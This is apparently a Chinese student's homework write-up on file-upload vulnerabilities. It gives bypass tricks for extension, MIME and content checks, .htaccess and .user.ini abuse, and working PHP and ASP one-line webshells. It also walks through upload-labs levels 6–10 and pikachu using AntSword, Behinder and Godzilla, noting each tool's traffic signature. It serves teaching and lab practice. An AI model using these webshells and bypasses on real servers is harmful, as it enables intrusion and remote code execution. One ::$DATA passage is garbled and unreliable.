作业
1 文件上传防御手段及绕过手段总结
防御手段
- 检测文件名的拓展(设置黑名单或者白名单)
- 检测数据包中Content-Type的值
- 检测文件内容,避免图片中插入webshell
- 利用随机字符或时间戳对文件进行重命名
- 隐藏文件上传路径
- 对图片进行二次渲染,即对图片进行二次处理(格式、尺寸,保存,删除 要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片(标准化)并放到网站对应的标签进行显示。
绕过手段
-
JS检测绕过
在前端的源代码中会有一段JavaScript 代码(checkfile()、uploadcheck())对上传的文件形式进行验证
关闭浏览器的 JavaScript 功能来进行绕过
-
修改前端
在前端中如果关闭JavaScript功能可能会造成其他功能不正常
可在前端修改JavaScript文件进行绕过。
-
文件类型绕过——MIME类型
客户端上传文件时,通过 burpsuite抓包。如果服务端代码通过 Content-Type 的值来判断文件的类型,那么就存在被绕过的可能。检测Content-Type的值的也叫 MIME类型因为 Content-Type 的值是通过客户端传递的,可以任意修改
修改上传的PHP的content-type为image/png
上传 .jpj 格式的文件,数据包中 Content-Type 的值是 image/jpeg 。
上传 .php格式的文件,数据包中 Content-Type 的值是 application/octet-stream。
-
文件类型绕过——合并文件
通过 getimagesize() 可以获取图片的宽、高等信息;如果上传的不是图片文件,getimagesize() 函数就获取不到信息,文件就不允许上传。
将一个图片和一个 webshell 合并为一个文件,此时可以通过 getimagesize() 函数
-
修改文件后缀名
有的网站在后端提供对文件名的检查,包括
使用大小写、双写、点和空格或利用中间件解析漏洞进行绕过
大小写:.Php .pHp .phP
空格:1.php 改为 1. php ("."后面又个空格)
点:1.php.
双写后缀:1.phphpp (后端代码可能会把后缀名替换为空字符)
点和空格嵌套绕过: 1.php. .
利用 NTFS 流**:: D A T A ∗ ∗ 绕过 : p h p i n f o . p h p : : DATA** 绕过: phpinfo.php:: DATA∗∗绕过:phpinfo.php::DATA (Windows会自动去掉末尾的::DATA变成phpinfo.php)
-
黑名单检测绕过
利用黑名单定义可能不完整,进行实现绕过的
php文件可解析后缀:php,php5,php4,php3,phtml,pht
- .htaccess文件绕过
```powershell
<FilesMatch "4.png">
SetHandler application/x-httpd-php
如果文件中有一个4.png的文件,就会被解析为.php。
```
-
ini文件绕过
借助.user.ini文件,更改auto_prepend_file配置项,来构造一个 “后门”
ini解析漏洞的前提条件:
1)服务器脚本语言为PHP
2)服务器使用CGI/FastCGI模式
(查看服务器的配置,确定其如何处理动态内容的生成和用户请求的响应)
CGI,通用网关接口
FastCGI,快速通用网关接口
二者都能将Web请求转发到后端生成动态内容的标准,但其工作机制和性能特点不同3)上传目录下要有可执行的php文件
步骤:
确保满足使用条件,上传一个.user.ini,再上传一个图片马(一个包含PHP恶意代码的JPEG图像)
代码内容:
GIF89a auto_prepend_file=shell.png
2 文件上传常用一句话木马
php | <?php @eval($_POST['hhh']) ?> <?php system($_GET['hello']);?> |
asp | <%eval request (“hello”)%> |
3 课中所讲的三种webshell管理工具的使用方法
要求:(演示使用该工具连接webshell及抓取流量包进行分析特征)
查看上传后的前端代码,会发现上传后会执行函数checkfileext()
搜索函数名,查看函数内容,发现对文件格式的检查是前端执行的
修改php文件的后缀名,进行上传,同时burpsuite开启拦截
修改包中的文件名后缀,而后放行
可以看见上传成功,并且返回了文件保存路径
访问文件完整路径
蚁剑
配置代理设置
添加数据
密码是
查看burpsuite抓包
流量特征:
以@ini_set(“display_errors”, “0”);@set_time_limit(0)开头;
使用base64加密。
冰蝎
设置代理
打开网址,和上述过程一致,但一句话木马可能无法使用,可以使用自带的shell.php文件
流量特征:
使用AES加密 + base64编码
可以查看到有许多模块,进行管理
哥斯拉
生成php脚本
上传脚本
添加
抓包查看
流量特征:
把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。
即,md5前十六位+base64+md5后十六位。
进入后,可以成功查看其中文件
流量特征:
蚁剑:
以@ini_set(“display_errors”, “0”);@set_time_limit(0)开头;
使用base64加密。
冰蝎:
使用AES加密 + base64编码
哥斯拉:
把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。
即,md5前十六位+base64+md5后十六位。
4.文件上传无回显如何查找webshell地址
-
字典爆破
利用已知文件名列表尝试访问Web Shell的方法
通常,上传的文件会被保存在upload目录下,或者其他目录下。文件名也可能不会被更改或者加上时间信息。即可,准备一个字典进行爆破,找到上传文件地址。
-
时间戳枚举
基于上传后的文件会用时间戳来进行重命名,利用响应包中DATE字段的时间戳来进行枚举。
5.文件上传表单的无参/有参情况下构造表单
无参下构造表单
用于简单的文件上传操作,快速、直接,如,个人网站、社交媒体平台的头像上传等简单应用。
无参上传表单的结构:
- 仅包含一个文件输入 ()。
- 提交按钮。
代码示例:
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" id="file" name="file" required>
<input type="submit" value="上传文件">
</form>
有参下构造表单
适用于涉及更多上下文信息的文件上传场景,常见于企业级应用、文档管理系统、在线学习平台等。
有参上传表单的结构:
- 包含文件输入和多个其他输入字段(如文本框、下拉菜单等)。
- 提交按钮。
代码示例:
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" id="file" name="file" required>
<input type="text" id="description" name="description" required>
<select id="category" name="category" required>
<option value="document">文档</option>
<option value="image">图片</option>
<option value="video">视频</option>
</select>
<input type="submit" value="上传文件">
</form>
6.upload-labs靶场通关第6-第10关
第六关
由提示可知,此处区分了大小写
尝试将文件名的后缀改为.PHP
第七关
当上传6.PHP会报错
即,此处没有区分大小写
查看源代码
有文件后缀名的黑名单、有大写转换为小写、对“::$DATA”进行了删除而且会重新生成文件名,但是保留文件后缀名,即可考虑添加空格
注意:空格要使用英文输入法下的,中文输入法下的空格可能会报错
上传文件,进行抓包,修改文件后缀(添加空格)
放行后,查看图片网址
使用蚁剑查看文件管理内容
第八关
查看源代码,可以看见在第七关的基础上还添加了使首位去空的功能
可以使用点号绕过
上传文件,burpsuite抓包,修改文件后缀,添加 “.”
查看图片地址
进行访问,在蚁剑中进行访问文件
第九关
查看源代码,可以看见在第八关的基础上对文件名的处理多了一项删除文件名末尾的点,但是也少了一项**::$DATA**字符串的删除
php在window的时候如果文件名加上":: D A T A " 会把 : : DATA"会把:: DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。
上传文件,burpsuite抓包,修改文件名称
查看图片地址
注意:访问时要删除::$DATA字符串!
打开地址,在蚁剑中访问文件
第十关
查看源代码,可以看见在第9关的基础上添加了删除字符串“::$DATA”的功能
同时,在去空格的功能中是指的首位去空,则可以考虑在文件中包含空格和点的嵌套
上传文件,burpsuite抓包,修改文件
查看图片地址
打开地址,在蚁剑中访问文件
文件上传漏洞总结
通常在后台,后台用户头像上传、doc、docx等文件上传、editor类上传等等
上传一个木马文件需要哪些条件
- 目标网站具有上传功能
- 上传的目标文件能够被Web服务器解析执行
- 知道文件上传到服务器后存放路径和文件名称
- 目标文件可被用户访问
时间戳
- 一份数据在特定时间点存在的可验证的数据
- 时间戳是指格林威治时间1970年01月01日00时00分00秒(北京时间1970年01月01日08时00分00秒)起至现在的总秒数 。
- 时间戳是使用数字签名技术产生的数据,签名的对象包括了原始文件信息、签名参数、签名时间等信息。
文件上传不解析解决办法
在上传恶意文件后,出现当前目录不解析的情况,则要将木马上传到可解析的路径中。
-
进行目录穿越
../../
../
可以返回上一目录,由此通过控制文件名进行../../
跳目录,跳到可以执行脚本语言的目录 -
指定文件上传路径
上传时可能存在一个 路径参数,如path,我们可以直接修改参数到我们的预期地址
文件上传攻击步骤
寻找目标网站的上传点(头像上传,北京上传等)尝试上传.php .aspx等动态脚本语言文件。测试其是否可以直接上传,如果不行再尝试对其进行绕过。
- 排查文件检测的位置是否在前端?
- 抓包,绕过数据包的MIME类型检测
- 查是否是黑名单检测,是否禁止的文件类型全面?后缀名检查是否全面?
- 是否禁止配置文件htaccess、ini的上传?
工具
下载地址:
AntSwordProject/AntSword-Loader: AntSword 加载器 (github.com)
BeichenDream/Godzilla: 哥斯拉 (github.com)
https://github.com/rebeyond/Behinder/releases/download/Behinder_v4.0.7/Behinder_v4.07.zip
https://github.com/BeichenDream/Godzilla/releases/download/v4.0.1-godzilla/godzilla.jar
中国蚁剑官方文档:获取蚁剑 (yuque.com)
pikachu——unsafe upfileupload
客户端check
参考:Web shell 与 冰蝎、蚁剑、哥斯拉(新手必看)-CSDN博客
从网址上传文件
修改包中的文件名,而后放行
访问http://192.168.75.1/pikachu/vul/unsafeupload/uploads/hhh.php,得到如上截图